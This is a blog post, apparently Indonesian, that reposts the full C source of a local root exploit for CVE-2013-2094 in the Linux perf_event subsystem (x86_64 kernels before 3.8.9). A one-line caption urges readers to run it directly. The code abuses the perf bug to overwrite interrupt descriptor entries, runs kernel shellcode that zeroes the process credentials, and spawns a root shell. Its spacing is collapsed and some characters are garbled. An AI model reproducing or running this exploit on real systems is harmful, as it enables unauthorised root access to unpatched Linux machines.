/** CVE-2013-2094 exploit x86_64 Linux < 3.8.9* by sorbo (sorbo@darkircop.org) June 2013** Based on sd's exploit. Supports more targets.**/#define _GNU_SOURCE#include <string.h>#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <stdint.h>#include <sys/syscall.h>#include <sys/mman.h>#include <linux/perf_event.h>#include <signal.h>#include <assert.h>#define BASE 0x380000000#define BASE_JUMP 0x1780000000#define SIZE 0x10000000#define KSIZE 0x2000000#define TMP(x) (0xdeadbeef + (x))structidt {uint16_t limit;uint64_t addr;} __attribute__((packed));staticint_fd;staticintperf_open(uint64_t off){structperf_event_attr attr;intrc;// printf("perf open %lx [%d]\n", off, (int) off);memset(&attr, 0,sizeof(attr));attr.type = PERF_TYPE_SOFTWARE;attr.size =sizeof(attr);attr.config = off;attr.mmap = 1;attr.comm = 1;attr.exclude_kernel = 1;rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);returnrc;}void__sc_start(void);void__sc_next(void);void__sc(void){asm("__sc_start:\n""call __sc_next\n""iretq\n""__sc_next:\n");}voidsc(void){inti, j;uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192));uint64_t kbase = ((uint64_t)current) >> 36;intuid = TMP(1);intgid = TMP(2);for(i = 0; i < 4000; i += 4) {uint64_t *p = (void*) ¤t[i];uint32_t *cred = (uint32_t*) p[0];if((p[0] != p[1]) || ((p[0]>>36) != kbase))continue;for(j = 0; j < 20; j++) {if(cred[j] == uid && cred[j + 1] == gid) {for(i = 0; i < 8; i++) {cred[j + i] = 0;return;}}}}}staticvoidsc_replace(uint8_t *sc, uint32_t needle, uint32_t val){void*p;p = memmem(sc, 900, &needle,sizeof(needle));if(!p)errx(1,"can't find %x", needle);memcpy(p, &val,sizeof(val));}staticvoid*map_mem(uint64_t addr){void*p;p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);if(p == MAP_FAILED)err(1,"mmap()");returnp;}staticintfind_mem(void*mem, uint8_t c){inti;uint8_t *p = mem;for(i = 0; i < SIZE; i++) {if(p[i] == c)returni;}return-1;}staticvoiddropshell(){if(setuid(0) != 0)errx(1,"failed");printf("Launching shell\n");execl("/bin/sh","sh", NULL);exit(0);}voidmorte(intx){printf("Got signal\n");close(_fd);dropshell();}staticvoidtrigger(intintr){switch(intr) {case0:do{intz = 1;inta = 1;z--;a /= z;}while(0);break;case4:asm("int $4");break;case0x80:asm("int $0x80");break;default:errx(1,"unknown intr %d", intr);}sleep(3);}intmain(intargc,char*argv[]){uint32_t *p[2];intfd, i;uint64_t off;uint64_t addr = BASE;structidt idt;uint8_t *kbase;intsz = 4;intintr = 4;printf("Searchin...\n");p[0] = map_mem(BASE);p[1] = map_mem(BASE_JUMP);memset(p[1], 0x69, SIZE);off = 0xFFFFFFFFL;fd = perf_open(off);close(fd);i = find_mem(p[0], 0xff);if(i == -1) {i = find_mem(p[1], 0x68);if(i == -1)errx(1,"Can't find overwrite");sz = 24;addr = BASE_JUMP;printf("detected CONFIG_JUMP_LABEL\n");}munmap(p[0], SIZE);munmap(p[1], SIZE);addr += i;addr -= off * sz;printf("perf_swevent_enabled is at 0x%lx\n", addr);asm("sidt %0":"=m"(idt));printf("IDT at 0x%lx\n", idt.addr);off = addr - idt.addr;off -= 8;switch(off % sz) {case0:intr = 0;break;case8:intr = 0x80;break;case16:intr = 4;break;default:errx(1,"remainder %d", off % sz);}printf("Using interrupt %d\n", intr);off -= 16 * intr;assert((off % sz) == 0);off /= sz;off = -off;// printf("Offset %lx\n", off);kbase = (uint8_t*) (idt.addr & 0xFF000000);printf("Shellcode at %p\n", kbase);if(mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED)err(1,"mmap()");memset(kbase, 0x90, KSIZE);kbase += KSIZE - 1024;i = __sc_next - __sc_start;memcpy(kbase, __sc_start, i);kbase += i;memcpy(kbase, sc, 900);sc_replace(kbase, TMP(1), getuid());sc_replace(kbase, TMP(2), getgid());signal(SIGALRM, morte);alarm(2);printf("Triggering sploit\n");_fd = perf_open(off);trigger(intr);exit(0);}
Localroot 2012 [ x86_64 Linux < 3.8.9 ]
Langsung eksekusi sob


0 komentar:
Post a Comment